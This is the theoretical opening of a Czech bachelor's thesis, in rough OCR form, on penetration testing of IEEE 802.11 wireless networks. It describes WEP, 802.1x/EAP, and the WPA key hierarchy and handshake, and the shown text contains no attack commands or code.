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Abstrakt

Tato bakalarska prace méa za tikol seznamit ¢tenére s problematikou penetrac-
niho testovani bezdratovych siti na standardu IEEE 802.11.

V teoretické ¢asti prace jsou popsany bezpecnosti standardy IEEE 802.11
a jaké pouzivaji bezpecnostni prvky. Dale jsou popsany mozné utoky na jed-
notlivé typy zabezpeceni.

V praktické ¢asti jsou jednotlivé Gtoky testovany za vyuziti opera¢niho sys-
tému Kali Linux, ktery je urcen pro penetracni testovani. Kali Linux je pouzit
ve virtualnim prostiedi a Live distribuci. Déle jsou zde popsany jednotlivé vir-
tualizéry a pouzity software i hardware pii testovani.

Klicova slova:
penetrace * IEEE 802.11 * virtualizace * zabezpeceni * operac¢ni systém Kali
Linux * bezdratové sité

Abstract

This bachelor’s thesis aims to introduce readers to penetration testing of wi-
reless networks working on IEEE 802.11 standards.

The theoretical part of work describes IEEE 802.11 standards and which
security features are used. There are also described possible attacks on each
type of security.

In the practical part of work are all attacks tested with use of operating
system Kali Linux, which is designed for penetration testing. Kali Linux is
used in a virtual environment and Live distribution. There are also described
all virtual environments and used software and hardware for testing.

Key words:
penetration * IEEE 802.11 * virtualization * security * operating system Kali
Linux * wireless network
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Uvod

Téma bakalarska prace Néastroje a metody pro prolamovani bezdratovych siti
norem [EEE 802.11 s pouzitim virtualizace jsem si vybral, protoze v soucasné
dobé se pouzivani bezdratovych siti velice rozsitilo a témér kazda doméacnost
mé svou vlastni bezdratovou sit. Pritom vétSina z nich je slabé zabezpecena a
nachylna k ttokim.

Diuvodi, pro¢ se bezdratové sité tak rozsitily, je nékolik. Mezi hlavni davody
jisté patii nizka cena a také urcita pohodlnost, kterou vyuzivani bezdratovych
siti nabizi. Uzivatelim poskytuji volnost pohybu a moznost byt pfitom stéle
pripojen k siti.

To na druhou stranu prinési jista bezpecnostni rizika, kterych si vétsina
uzivateli nemusi byt védoma. Problémem bezdratové sité je, ze cela sit je
viditelna pro vSechna zarizeni v okoli, tim padem se k ni muze kdokoli zkusit
pripojit. Proto je potieba bezdratové sité spravné zabezpecit, aby se takovym
vécem zabrénilo.

Velké mnozstvi siti je vSak stale nezabezpeceno, nebo zabezpeceno jen veli-
ce slabé. Velky podil na tomto problému maji zastarala zarizeni, kvili kterym
se snizuje bezpecnost, protoze modernéjsi zabezpeceni nepodporuji. Dalsim
divodem je neinformovanost samotnych uzivateli, ktefi nechévaji na pristu-
povych bodech do sité tovarni nastaveni, s pocitem, Ze je dostatecné bezpecné.

Cilem této bakalairské prace je ukazat a otestovat utoky pouzivané pro
ziskani pristupu do bezdratové sité s pouzitim specializovaného operac¢niho
systému na penetracni testovani, priCemz operacni systém je spoustén ve vir-
tualnich prostiedich. Pouzita virtuédlni prostiedi jsou néasledné porovnavina s
klasickym spusténim operac¢niho systému a potom jsou porovnévany na mozné
vyhody, nevyhody a rozdily ve funkénosti jednotlivych utok.

Na zacatku préce je kratky obecny popis funkénosti bezdratovych siti, na-
sleduje jiz podrobny popis druhi pouzivanych zabezpeceni a mechanizmi, kte-
ré vyuzivaji pro vytvoreni bezpecné bezdratové sité. U jednotlivych druhi za-
bezpeceni je poté poukizano na slaba mista, ktera lze vyuzit k ziskéni pristupu
do site.

Slaba mista jsou nasledné testovana pomoci volné dostupnych prostiedki,
které pri spravném pouziti mohou tspésné proniknout zabezpecenim sité. Ce-
ly postup testovanych utoku je vysvétlen i s nazornymi ukazkami a vSechno
potfebné vybaveni k provedeni ttoki je téz patficné popsano.



Cast I
Teoreticka c¢ast

1 Organizace za bezdratovymi sitémi

7 pocatku si fekneme néco mélo o organizaci IEEE, kterd standardizovala
vétsinu protokolt pro pocitacové sité dnes vyuzivané. Standardy ma jak na
dratové tak bezdratové prenosy a mnoho dalsich dopliiujicich norem.

Dalsi spolecnosti za bezdratovymi sitémi je Wi-Fi Alliance, slouzici k tes-
tovani a certifikaci spravné funkcénosti vsech prvku bezdratovych siti.

1.1 IEEE

IEEE je zkratkou pro Institute of Electrical and Electronics Engineers (In-
stitut pro elektrotechnické a elektronické inZenyrstvi), neziskovou organizaci
zabyvajici se prumyslovym standardizovanim. IEEE standardizuje technologie
od telekomunikaci az po lékarské technologie. Organizace byla zalozena roku
1963, jako nové oznaceni po sjednoceni Institute of Radio Engineers (IRE,
zalozeno 1912) a American Institute of Electrical Engineers (AIEE, zaloZeno

1884). [24]

Advancing Technology
for Humanity

Obrazek 1: Logo Institutu pro elektrotechnické a elektronické inien;’/rstvi

Mezi nejznaméjsi standardy patii podskupina IEEE 802, oznacujici stan-
dardy pro lokalni a metropolitni sité. Specificky normy IEEE 802.11 se zabyvaji
lokalnimi bezdratovymi sitémi WLAN (Wireless Local Area Network).

1.1.1 802.11

[EEE 802.11 je nejpouzivanéjsim standardem pro bezdratové sité v domacim a
firemnim pouziti. Normy stanovuji, v jakych frekven¢nich pasmech lze sit pro-
vozovat a jaké rychlosti jsou podporovany. Normy specifikuji i dalsi parametry
jako sitku prenosového pasma, pouzitou modulaci nebo povoleny pocet antén.
V prehledu nize jsou vypsané schvalené standardy.

HEEE. Master Brand and Logos [online|. [cit. 2015-04-13]. Dostupné z URL: <http:
//wuw.ieee.org/about/toolkit/masterbrand/DF_IEEE_MIG_MCT_48654>
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Standard | Rok vydéni P{’gﬁ{rr;? P[{ﬁf)}i(/)z]t Modulace
802.11-1997 1997 2.4 2 DSSS a FHSS
802.11a 1999 5 54 OFDM
802.11b 1999 2.4 11 DSSS
802.11g 2003 2.4 54 OFDM
802.11n 2009 24 ab 600 MIMO OFDM
802.11ac 2013 5 1000 MU-MIMO OFDM

Tabulka 1: Pfehled vydanych IEEE 802.11 standardu [I]

1.2 Wi-Fi Alliance

Wi-Fi Alliance je neziskové spole¢nost zaloZena pro kontrolovani implementace
standarda IEEE 802.11 v bezdratovych zafizenich. Ptivodnim jménem Wireless
Ethernet Compatibility Alliance zalozena v roce 1999 s nastupem standardu
IEEE 802.11b. Spole¢nost si nechala technologii registrovat pod nazvem Wi-Fi
a pozdéji v roce 2002 se piejmenovala na Wi-Fi Alliance. [25]
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Obrazek 2: Aktuélni znak Wi-Fi Alliance [25]

Wi-Fi Alliance je podporovana velkou skupinou spole¢nosti a to nejen vy-
robci bezdratovych karet. Mezi podporovatele a kolaboranty, kterych je mo-
mentalné pres 550, patii napt. Apple Inc., Intel, Cisco Systems nebo Dell Inc..
Ne v8ichni vyrobci bezdratovych karet posilaji vyrobky na testovani ale to ne-
znamend, Ze nefunguji pod standardem 802.11, pouze nemaji certifika¢ni logo
Wi-Fi Alliance. Celkovy pocet certifikovanych produkti je momentalné ptes
23.000.

Aby mohlo bezdratové zafizeni dostat certifika¢ni znacku Wi-Fi (viz. obr.
musi byt poslano spolecnosti Wi-Fi Alliance na testovani a splhovat na-
sledujici dvé kritéria. Za prvé musi plné podporovat jeden nebo vice téchto
IEEE standarda 802.11a, 802.11b, 802.11g, 802.11n a 802.11ac. Druhym bo-
dem je kompletni podpora WPA2 zabezpeceni v obou provedenich, to znamena
WPA2-Personal a WPA2-Enterprise. Wi-Fi Alliance nabizi moznost certifiko-
vat dodatecné funkce jako VMM (Wireless Multimedia Extensions) zaloZené na

10



802.11e nebo WPS (Wi-Fi Protected Setup), bezdratové zabezpeeni navrzené
Wi-Fi Alliance a dalsi.

o8 Wi

Obrazek 3: Soucasné certifika¢ni logo Wi—Fi

2AIRHEADS Community. WiFi Alliance #BMC [online]. Rijen 2014 |[cit.
2015-04-13].  Dostupné z  URL: <http://community.arubanetworks.com/t5/
Training-Certification-Career/WiFi-Alliance-BMC/td-p/169916>
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2  Uvod do bezdratovych siti

V nésledujici kapitole si fekneme nékolik zédkladnich informaci o bezdratovych
pocitacovych sitich.

Bezdratova pocitacova sit neboli Wireless Local Area Network (WLAN),
je oznaceni pro lokalni pocitacovou sit, ktera nepotiebuje fyzické spojeni mezi
komunikujicimi zafizenimi. Bezdratové sité jsou casto oznacovany téz jako Wi-
Fi, nebo nespravné WiF1i, je to zkratka slov pro Wireless Fidelity (bezdratova
vérnost) jedna se o registrovanou znacku spole¢nosti Wi-Fi Alliance.

Wi-Fi je definovano jako WLAN v nelicencovanych pasmech 2.4 GHz pro
doméci a firemni pouziti na standardu IEEE 802.11.

2.1 Frekvencni pasma

Normy 802.11 pouzivaji pro pfenos nelicencovana pasma na frekvencich 2.4
GHz (2.412-2.472 a 2.284 GHz) a 5 GHz (4.8 - 6.1 GHz). Pasma jsou délena na
jednotlivé prenosové kanaly od sebe vzdalené po 5 GHz. Protoze bezdratové sité
norem [EEE 802.11 vyuzivaji v zakladu 20 MHz pasem (4 kanalu), tak pouzité
frekvence jsou predem urceny po danych 20 MHz skocich a vétSina vyrobcu
nedava moznost jiného nastaveni. U¢inéno tak bylo pro eliminaci nechténého
ruseni sousedicich siti.

1 2 3 4 5 & 7 B 9 10 11 12 13 14 Channel
2412 2417 2422 2427 2432 2437 242 2447 2452 2457 2462 2467 2472 2.484 Center Frequency

T..T. T

22 MHz

Obrazek 4: Frekvenéni pasmo 2.4 GHz se znézornénymi kanaly [30]

Povolen{ jednotlivych frekven¢nich pasem je v kazdé zemi. V ramci Ceské
Republiky se jedna o 13 kanéla v 2.4 GHz pasmu (2.412 - 2.472 GHz) a 70
kanali v 5 GHz pasmu, i kdyz pouzitelnych je pouze 19 (5.18 - 5.32 a 5.5 - 5.7
GHz) kvuli 20 MHz skokum zminénym vyse. [30]

2.2 Pristup k mediu

WLAN jsou tvoreny dvojici zafizeni a témi jsou uzivatelské stanice (klienti)
a piistupové body (AP). Jelikoz bezdratova zarizeni mohou v jeden okamzik
komunikovat pouze jednim smérem (pfijimat nebo odesilat) a pouze s jednim
zaiizenim, tak bylo vyuzito CSMA/CA (Carrier Sense Multiple Access with
Collision Avoidance) metody pro oznamovani, zda mize zafizeni komunikovat.

Metoda vyuziva RTS (Request To Send, Zadost o vysilani) a CTS (Clear To
Send, Volno k odesilani) ramci, kdy RTS ramec vysila zafizeni pokazdé, kdy?z
chce navazat spojeni s novym zafizenim. Tim se dotazuje druhé strany, zda je

12



pripravena piijimat data. Jakmile dotazova strana dokon¢i pravé probihajici
prenos, tak na dotaz odpovi CTS ramcem, Ze je pripravena na navazani nového

spojeni. [7]
Start '

Vytvoren(
ramce
,Je_ NE Vyckat nahodnou
medium dobu
Bez pouziti volné?
|IEEE 802.11 i
vymeény RTS/CTS
[ANO
Vysilani RTS

S vyuzitim IEEE 802.11
vymény RTS/CTS

Odesilan{
dat

Konec '

Obrazek 5: Grafické znazornéni prenosu s CSMA / CA

2.3 SSID

SSID (Service set Identifier) je jednozna¢nym identifikitorem bezdratové sité
a je slozen ze dvou ¢asti oznacenych jako BSSID a ESSID.

e ESSID - (Extended Service Set Identifier) ¢asto oznacovan jako SSID je
nazvem bezdratové sité, ktery se pouziva pro pripojovani do sité. Délka
identifikdtoru je omezena na 32 libovolnych znaki a nejenom ¢itelnych
znakt, jak byva ¢astym omylem. ESSID nemusi byt unikitni a vice pii-
stupovych bodu muze pouzivat stejny nézev at uz omylem nebo timyslné
pro funkci roamingu.

e BSSID - (Basic Service Set Identifier) je druhym a unikédtnim identifi-
kidtorem bezdratovych siti a je tvofen 12 hexadeciméalni znaky o celkové

3Wikipedie. CSMA /CA [online]. Biezen 2015 [cit. 2015-04-13]. Dostupné z URL: <http:
//cs.wikipedia.org/wiki/CSMA/CA>

13


http://cs.wikipedia.org/wiki/CSMA/CA
http://cs.wikipedia.org/wiki/CSMA/CA

dalce 48 biti. BSSID neni ni¢im jinym nez MAC adresou (Media Access
Control Address) nastavenou na bezdratové karté v AP.

2.3.1 Skenovani SSID

Kazdé bezdratové zarizeni, které se chce pripojit do WLAN, musi podstoupit
proces skenovani dostupnych SSID, aby védélo, jaké sité jsou dostupné. [2]
Vsechny potfebné informace o svém nastaveni posila kazdy pristupovy bod
bud na vyzvu od klienta (aktivni) nebo v pravidelnych intervalech (pasivni). K
pfenosu je pouzit management ramec nazvany Beacon Frame (Beacon ramec)
obsahujici ESSID, BSSID, silu signalu, podporované rychlosti a vice.

Octats: 2 2 6 6 6 2 0-2312 4
Frama , Address 1 Sequence
Control Duration (DA} SA BSSID Cantrel Frame Body FCS
MAC Header

Obrazek 6: Beacon management ré,mec

Aktivni

P1i aktivnim skenovani se klient pta svého okoli, zda jsou v dosahu pristupové
body pomoci management probe request ramce. Dotaz muze byt smérovan na
konkrétni ESSID a pouze AP s danym ESSID odpovi, nebo dotaz bude obecny
a kazdy pristupovy bod na néj odpovi probe responce ramcem.

Pasivni

U pasivniho skenovéni klient nic nedéla a c¢eké, az AP v dosahu zacnou posi-
lat beacon ramce v nastavenych intervalech, z kterych si pak vyc¢te potfebné
informace.

et

% P 5\0‘“"1“ EE'EI‘

Client Clent

i fSS e E"?Uasf ‘;ﬁf/_,-a':'n/
’W®

Clent

Obrazek 7: Znazornéni aktivniho (vlevo) a pasivniho (vpravo) skenovani

“NAYANAJITH, R. 802.11 Frame Format [online|]. Duben 2013 [cit. 2015-04-13]. Dostup-
né z URL: <http://mrncciew.com/2013/04/24/802-11-frame-format/>

SH3C TECHNOLOGIES CO. WLAN Configuration Guide [online]. [cit. 2015-04-13).
Dostupné z URL: <http://www.h3c.com/portal/download.do?id=1062422>
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2.4 Autentizace

Autentizace oznacuje proces ovérovani identity. Podle standardu IEEE 802.11
se jednéd pouze o jednostranny proces a to ze sméru od klienta, kdy on zada
o autentizaci a pristupovy bod pouze odpovida. To méa za nasledek, Ze klient
nemé jistotu, zda se pfipojuje k spravnému piistupovému bodu. [1]

Standard popisuje dva zpusoby autentizace. Bud pomoci sdileného klice
(shared key) nebo otevieného systému (open system).

Autentizace vyuziva management ramct pro vymeénu potiebnych informa-
ci. Slozeni ramce je znazornéno na piilozeném obr. [§ Vyuziti jednotlivych poli
se lisf podle funkce, kterou dany management ramec vykonava.

Octets: 2 2 i} 6 6 2 4 0-2320 4
Frame - - - Sequence HT Frame -
Contral Duration Address 1 Address 2 | Address 3 Control Control Body FCS
- —-
MAC Header

Obrazek 8: Obecny management rémecﬁ

2.4.1 Otevieny systém

P1i nastaveni oteviené autentiza¢ni metody (open system) je umoznéno jaké-
mukoli bezdratovému klientovi se pripojit k pristupovému bodu, pokud ma
nastavené shodné SSID. To znamena, Ze klient nemusi prokazat znalost hesla
nebo klice.

Autentizace otevieného typu je uskuteénéna vymeénou dvou management
ramci, kdy prvni rdmec je vyslan klientem s zadosti o autentizaci. Druhym
ramcem pristupovy bod odpovidd na pozadavek a za predpokladu, ze oba
ramce byly spravné doruceny, prijaty, byla autentizace tispésna.

Dodate¢né mize byt zapnuto WEP (Wired Equivalent Privacy) zabezpe-
¢ovaci algoritmus pro dalsi prenaseni vlastnich dat generovanych klientem.

2.4.2 Sdileny kli¢

Pro vyuziti pfedem sdileného klice (shared key) je nutno vyuzit WEP za-
bezpeceni, pti kterém klient musi znat spravny pristupovy kli¢ nastaveny v
pristupovém bodu a prokazat jeho vlastnictvi. Jednéa se o proces probihajici v
5 krocich:

1. Klient posle pozadavek na autentizaci

2. AP vyzve klienta k zasifrovani prilozené textové zpravy

SNAYANAJITH, R. 802.11 Frame Format [online|. Duben 2013 [cit. 2015-04-13]. Dostup-
né z URL: <http://mrncciew.com/2013/04/24/802-11-frame-format/>
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3. Klient zasifruje prijaty text vlastnim klicem a posle k ovéreni

4. AP rozsifruje prijatou zpravu a vysledek porovna s origindlem, rozhod-
nuti o autentizaci zasle klientovi

5. Klient je bud odpojen nebo muze dal komunikovat

Posledni 5 krok se nékdy neuvadi. Cely proces je graficky znazornén na
nasledujicim obr. [0

Acce int
. Client device ar bsrsidF;';:n
with WEF key =123 with WEP key =123

”‘ 1. Authentication request i I

—/ _ 2 Urencrypted challenge

3. Authentication request (encrypted challengs)
4. Authentication response (success)

5, WEF data frame to wired network.

A

s34

Y

Obrazek 9: Uspésna autentizace sdilenym kliéem

2.5 Navazani bezdratového spojeni

Kazdy klient, ktery se chce pripojit do bezdratové sité a byt schopny komuni-
kovat, musi vykonat nésleduji postup kroku. [

1. Skenovani - proces na zjisténi dostupnych siti v dosahu klienta.

2. Autentizace - proces na ovéren identity klienta vici AP. Zadost o auten-
tizaci posila klient pristupovému bodu, ktery ji mize ptijmout, zamitnout
nebo poslat na autentizacni server.

3. Asociace - proces na spusténi plného provozu od klienta. Klient zasila
association request ramec na AP. Pristupovy bod mé& moznost prijmout
nebo zamitnout zadost a odpoved zasila v association response ramci.

Vysledny pribéh piipojeni (asociace) klienta do WLAN je znézornén na
nasledujicim obr.

TCISCO Systems, Inc. Security Setup [online|. [cit. 2015-04-13]. Dostupné z URL:
<http://www.cisco.com/c/en/us/td/docs/wireless/access_point/1200/vxworks/
configuration/guide/ap120scg/bkscgc8.html>

16


http://www.cisco.com/c/en/us/td/docs/wireless/access_point/1200/vxworks/configuration/guide/ap120scg/bkscgc8.html
http://www.cisco.com/c/en/us/td/docs/wireless/access_point/1200/vxworks/configuration/guide/ap120scg/bkscgc8.html

Client AP
- Active/Passive scanning -
Authentication request -
- Authentication response
Association reqguest -
Association response

Obrazek 10: Znazornéni postupu k piipojeni do sité

8H3C TECHNOLOGIES CO. WLAN Configuration Guide [online]. [cit. 2015-04-13].
Dostupné z URL: <http://www.h3c.com/portal/download.do?id=1062422>
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3 Pouzivané zabezpeceni bezdratovych prenost

V této kapitole se podivame na pouzivané zabezpeceni standardizovana orga-
nizaci IEEE pod nazvy WEP a WPA /WPA2. Mezi dalsi zabezpeceni patii
WPS od spolecénosti Wi-Fi Alliance.

Vsechny zminéné zabezpeceni maji za tikol vykonavat 3 zakladni ikony pro
spravnou funkénost a bezpecnost bezdratové sité:

e Autentizace - ovéreni platnosti pfistupu klienta.
e Integrita - spravnost (neménnost) prenasenych zprav.
e Sifrovani - zabezpeceni prenaSenych dat.

Kazdy zabezpecovaci protokol pouziva pro kazdy tkon jinych prostiedki s
riznou urovni kvality zabezpeceni. Nas bude zajimat hlavné pouzity zptsob
autentizace novych klienti.

Dosédhnout neprolomitelného zabezpeceni bezdratovych siti je nemozné, ale
za pomoci spravnych prostfedkii mizeme mozné prolomeni zabezpeceni udélat
narocné do té miry, aby se prostiedky do toho vlozené nevyplatily.

3.1 Wired Equivalent Privacy

Prvni zabezpeceni pro bezdratové sité s nadzvem Wired Equivalent Privacy
(WEP) bylo predstaveno hned v prvni verzi normy IEEE 802.11 v roce 1997,
nyni oznacovana jako 802.11-1997, poté co byla nékolikrat upravena. |2, [7, [15]

3.1.1 Autentiazce

WEP protokol umoziuje vyuziti autentizace dvojim zpusobem, bud pomoci
otevieného systému (viz. sekce [2.4.1)) nebo s vyuzitim predem sdileného klice

(viz. sekce [2.4.2)).

3.1.2 Sifrovani

Cely proces Sifrovani zprav mezi pristupovym bodem a klientem je graficky
znézornén na prilozeném obr.

WEP zabezpeceni je kompletné postaveno okolo symetrické RC4 proudové
sifry vytvorené Ronem Rivestenem z RSA Security v rove 1987. RC4 sifra pra-
cuje jako generator pseudondhodnych ¢isel (PRGN, PseudoRandom Number
Generator).

Zakladem vseho je inicia¢ni vektor (IV) s pevnou délkou 24 bitu, ktery
je nahodné generovan pro kazdy ramec a jeho funkci je, aby RC4 Sifra nege-
nerovala stejny vystupni retézec oznacovany jako Keystream pro stejna data.
Piedem definovany sdileny kli¢ (shared key) o délce 40 nebo 104 biti, ktery
se predtim mohl pouzit k autentizaci, doplhuje inicia¢ni vektor a dohromady
tvofi vstupni fetézec pod nézvem Seed pro RC4 Sifrovaci algoritmus.
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Secret Key and IV | “Seed” Secret Keyand IV | "Seed”
v v
RC4 Algorithm RC4 Algorithm
1] 11
0110001010 | “Keystream” 0110001010 | “Keystream”
XOR XOR.
1001110101 | “Plain Text and CRC" 0100110010 | “Cipher Text”
I I
0100110010 | “Cipher Text” 1001110101 | *“Plain Text and CRC"

transmitting message packet
Eneryption Decryption

Obrazek 11: Prubéh zasifrovani a rozsifrovani WEP ramcu [13]

Po vytvoreni Sifrovaciho klice RC4 sifrou se vyuzije Keystream fetézce a
pomoci logické operace XOR se s nim zaSifruji prenéSena data a kontrolni
soucet z dat (Plain text and CRC). Vystupni fetézec XOR operace (Cipher
Text) je pak pouzit pfi pfenosu dat mezi komunikujicimi stranami.

Protoze inicia¢ni vektor potfebujeme i pro desifrovani zpravy na druhé
strané, jelikoz se jedné o symetrickou Sifru, tak se IV prenasi nezabezpecené v
prostém textu na zac¢atku ramce pred zaSifrovanou zpravou (viz obr. 77?).

#0or 104 24 bit

K=| Userchosen bits v

Encrypted
M=| Iy [P0t P CRC

Obrazek 12: Vstupni Seed fetézec (K) a prenaseny ramec (M) [13]

Na druhé strané se preneseny IV pouzije k vypocitani Keystream fetézce,
ktery predtim zpravu zaSifroval, ale nyni je pouzit k provedeni XOR operace
s prijatou zaSifrovanou zpravou, aby vratil puvodni text zpréavy.

3.1.3 Integrita

O integritu pfenasenych zprav (neménnost) se stara CRC (Cyclic Redundancy
Check). CRC vypocitava kontrolni soucet z prenasené zpravy a vysledek ICV
(Integrity Check Value) je pfidavan na konec zpravy. ICV je poté Sifrovano spo-
le¢né s puvodni zpravou (viz. obr. . Druhé strana po rozsifrovani vypocita
nové ICV a porovné ho s tim, co piijala, tedy zda je zprava nezménéna.
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3.2 IEEE 802.1x

IEEE 802.1x (Port-based Network Access Control) je norma z roku 2001, pi-
vodné schvélené pro metalické LAN (Local Area Network) sité a pozdé&ji rozsi-
fena v roce 2004 i pro WLAN sité. Norma pojednava o novém zpusobu auten-
tizace klienti pomoci EAP protokolu (Extensible Authentication Protocol).
EAP vyuzivi EAPOL protokolu (EAP over LAN) pro zapouzdieni posilanych
EAP zprav do ramcu. Cilem 802.1x je zablokovat jakykoli neplatny provoz od
neautentizovaného klienta |2, [7].

3.2.1 Zakladni prvky a proces autentizace

Norma 802.1x vyuziva tii entity béhem procesu autentizace a vSechny musi
podporovat zvoleny typ EAP pro spravnou funkénost celého procesu.

e Supplicant - (Zadatel) uzivatelské zafizeni snazici se ptipojit do sité (kli-
ent)

e Authenticator - (Autentizator) sitové zafizeni (u WLAN je tim AP) po-
volujici nebo blokujici provoz od klienta podle stavu ovéreni, preposila
zpravy mezi klientem a autentiza¢nim serverem

e Authetication server - (autentizacni server) hostitelsky systém obsahujici
autentizacni informace pro ovéfeni, nejcastéji RADIUS server (Remote
Authentication Dial In User Service)

Cely proces autentizace je fizen autentizatorem, ktery doslova tvori branu
do zbytku sité pred nové pripojujicim klientem. Tento proces je tvoren logic-
kymi porty oznacenymi jako fizeny a nefizeny port. [6]

e fizeny port - (controlled) je zédkladnim nastavenim pro nové neautorizo-
vané klienty a zamezuje jim vysilat jiny provoz nez EAPOL ramce pro
autentizaci (ostatni provoz klienta zahazuje).

e nefizeny port - (uncontrolled) je druhym stavem, ve kterém je kliento-
vi umoznéno komunikovat v plném rozsahu. Rizeny port se prepne do
nerizeného modu po Gspésné autorizaci klienta.

Cely proces autentizace za¢ina zadatel asociovanim se k autentizatoru (AP)
a tim je autentizatorovi naznaceno, ze se chce pripojit. Autentizator pripoji za-
datele na rizeny port a vyzve ho z zaslani identifika¢nich adaju. Zadatel odpovi
patiicnou EAP zpréavou, kterou autentizator preposle na autentiza¢ni server.
Ten prihlasovaci idaje ovéfi a posle vyzvu na zadani hesla pres autentizator
zpatky k zadateli. Zadatel na vyzvu odpovi autentizatoru, ktery odpovéd pre-
da autentizacnimu serveru. Vysledek autentizace, zda byla tspésné, nebo ne-
uspésné preda autentizatoru, ktery zpravu preposle zadateli a zaroven prepne
port do nefizeného stavu (pfi uspéchu) nebo ho neché fizeny (pfi neiaspéchu).
Cely pribéh autentizace je zndzornén na nasledujicim obr.
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Obrazek 13: Prubéh autentizace 802.1x s EAP protokolemﬂ

3.2.2 Druhy autentizace 802.1x

EAP samo o sobé neni autentiza¢nim mechanizmem, ale pouze obecnym stan-
dardem, ktery definuje posilané zpravy pro autentizaci a je na ostatnich, jak
je vyuziji. Mezi ty nejznaméjsi autentizacni metody pomoci EAP patii LEAP,
EAP-TSL, EAP-MP5, PEAP a mnoho dalsich. [6]

e LEAP - (Light EAP) je proprietarni protokol spole¢nosti Cisco Systems.
Hlavni vlastnosti je pouzivani dynamickych WEP sdilenych kli¢a, kdy
v nastavenych intervalech provadi novou autentizaci s jiz pfipojenymi
zadateli a pritom zméni pouzivany klic.

o EAP TSL - (EAP- Transport Layer Security) je povaiovén za nejbez—

N

pouz1vaJ1 digitalni certifikity podepsané certlﬁkacnl autoritou. Metoda
je zalozena na PKI (Public Key Infrastructure) s privatnim a vefejnym
klicem, ktera vytvaii Sifrovany tunel mezi obéma stranami.

e EAP-MP5 - nepodporuje dynamické klice, kvili pouziti MD5 haSovaci
funkce a autentizace neni oboustranna. Metoda se povazuje za nejslabsi.

e PEAP - (Protected EAP) je jednodusi verzi EAP-TLS metody. Autenti-
zacni server stéile vyuziva digitalniho certifikatu pro vytvoreni sifrovaného
tunelu, ale zadatel muze autentizovat napiiklad heslem.

9eduroam-US. eduroam a technical overview [online]. [cit. 2015-04-13]. Dostupné z URL:
https://www.eduroam.us/technical overview
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3.3 Wi-Fi Protected Access

Vyvoj Wi-Fi Protected Access (WPA) zacal v roce 2001 jako reakce na na-
lezené chyby v WEP zabezpeceni. WPA byla pfedstaveno spole¢nosti Wi-Fi
Alliance v roce 2003, jako ¢ast pripravovaného standardu IEEE 802.11i, tehdy
oznac¢ovaného jako IEEE 802.11i draft (navrh).

Pri navrhu WPA bylo pocitano s tim, aby WPA bylo kompatibilni s p¥ipra-
vovanou finaln{ verzi 802.11i a zaroven s jiz pouzivanym WEP zabezpecenim.
Protoze zafizeni pracujici s WEP zabezpecenim ¢asto podporovala RC4 Sifru
interné (hardwarové), tak WPA ji taktéz pouziva. To znamenalo, Ze vétSina
zafizeni mohla pouzivat WPA po aktualizaci softwaru/firmwaru (programové
vybaveni).

WPA zabezpeceni prineslo nové mechanismy pro autentizaci, Sifrovani a
integritu.

e Autentizace - ovéfeni pomoci pfednastaveného klice (PSK) nebo pomoci
autorizacnich porti v 802.1x s riznymi EAP autentizacemi.

e Integrita - o kontrolu zprav se stara MIC (Message Integrity Check).

e Sifrovani - prendsend data jsou nyni sifrovana pomoci TKIP (Temporal
Key Integrity Protocol), ktery pouziva dynamické (docasné) klice pro
kazdy ramec

3.3.1 Hierarchie kli¢a

Pred samotnym popisovanim jednotlivych ¢asti WPA zabezpeceni je nutné se
podivat na pouzivané klice v ramci WPA a jejich distribuci mezi prislusnéa
zafizeni.

Bezpecnost vseho sitového provozu je zavisla na bezpecnosti klica. Klice
jsou rozdéleny do dvou kategorii podle druhu komunikace (unicast a multicast),
které se déli na dalsi klice urc¢ené pro specifické pouziti. [4] 8]

e Pairwise Key - (parovy kli¢) pro unicast komunikaci
e Group Key - (skupinovy kli¢) pro multicast komunikaci
Pairwise Key

Hlavnim klicem pro unicastovou metodu je PMK (Pairwise Master Key) o dél-
ce 256 b, pricemz zpusob ziskani PMK klice je zavislé na autentiza¢ni metodeé.
U metody 802.1x (EAP) je kli¢ odvozen z MK (Master Key), v pfipadé pou-
ziti PSK metody (preshared key, prednastaveny kli¢) je PMK kli¢ generovan
haSovacim algoritmem z piistupového hesla (passphrase), SSID (nazvu sité) a
jeho délky.

PMK kli¢ se nikdy nepouziva pro Sifrovani nebo kontrolovani integrity, ale
je pouzit jako zéklad pro vytvoreni do¢asného PTK klic¢e (Pairwise Transient
Key) pomoci PRF hasovaci funkce z kombinace PMK klice, MAC adresy AP
a klienta, pevného fetézce PKE (Pairwise Key Expansion) a dvou ndhodnych
¢isel A/SNonce (Number used once, jednou pouzitelné ¢islo).

22



Délka PTK klice zavisi na pouzitém Sifrovacim protokolu, a vysledny PTK
kli¢ je poté rozdélen do vice mensich kli¢i. Cely proces je znézornén na obr.

T4

PRF using HMAC-SHA1

X = 512 (TKIP)
X = 384 (CCMP)

Bits 0-127 Bits 128-255 Bits 256-383
KCK KEK TEK (=TK)

Bits 384447 Bits 448-511
TMK1 TMK2

Obrazek 14: Hierarchie parového klice [§]

1. KCK - (Key Confirmation Key, 0-127 b) pouzity pro ovéfovani zprav
(MIC) béhem 4-Way Handshake (4-cestné vyména) a Group Key Hand-
shake (vyména skupinového klice).

2. KEK - (Key Encryption Key, 128-255 b) zajistuje divéryhodnost dat
béhem 4-Way Handshake a Group Key Handshake.

3. TK - (Temporary Key, 256-383 b) uzivany pro Sifrovani dat (TKIP i
CCMP).

4. TMK - (Temporary MIC Key, 384-447 b a 448-511 b) pouzity pii au-
tentizaci dat algoritmem Michael (soucast MIC) v TKIP, kazd4 strana
komunikace ma vlastni kli¢ (TMK1 pro vysilani, TMK2 pro piijem).

Group Key

Multicast metoda pouziva doc¢asny GTK kli¢ (Group Transient Key), ktery je
vytvofen pomoci PRF hagovaci funkce z kombinace GMK kli¢e (Group Master
Key), MAC adresy pristupového bodu, ndhodného ¢isla GNonce a pevného
fetézce GKE (Group Key Expansion).

Délka GTK klice je téz zavisla na pouzitém Sifrovani a rozdélena na mensi
klice. Cely proces je znazornén na obr. [I5]

23



PRF using HMAC-SHA1

Bits 0-127
GEK

Bits 128-255
GIK TKIP

Obrazek 15: Hierarchie skupinového klice [§]

1. GEK - (Group Encryption Key, 0-127 b) pouziva se k Sifrovani dat

2. GIK - (Group Integrity Key, 128-255 b) pouzivé se pro autentizaci dat

Béhem procesu odvozovani kli¢ti probihaji mezi autentizatorem a zadatelem
dvé vymeény oznacené jako 4-Way Handshake a Group Key Handshake.

4-Way Handshake
Proces 4-cestné vymeény je zahajen pristupovym bodem po tspésné autentizaci

klienta k AP. Cilem procesu je stanovit PTK a GTK klice pomoci vymeény ¢tyt
EAPOL-Key zprav zobrazenych na obr. [L6]
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Obréazek 16: Prubéh 4-Way Handshake

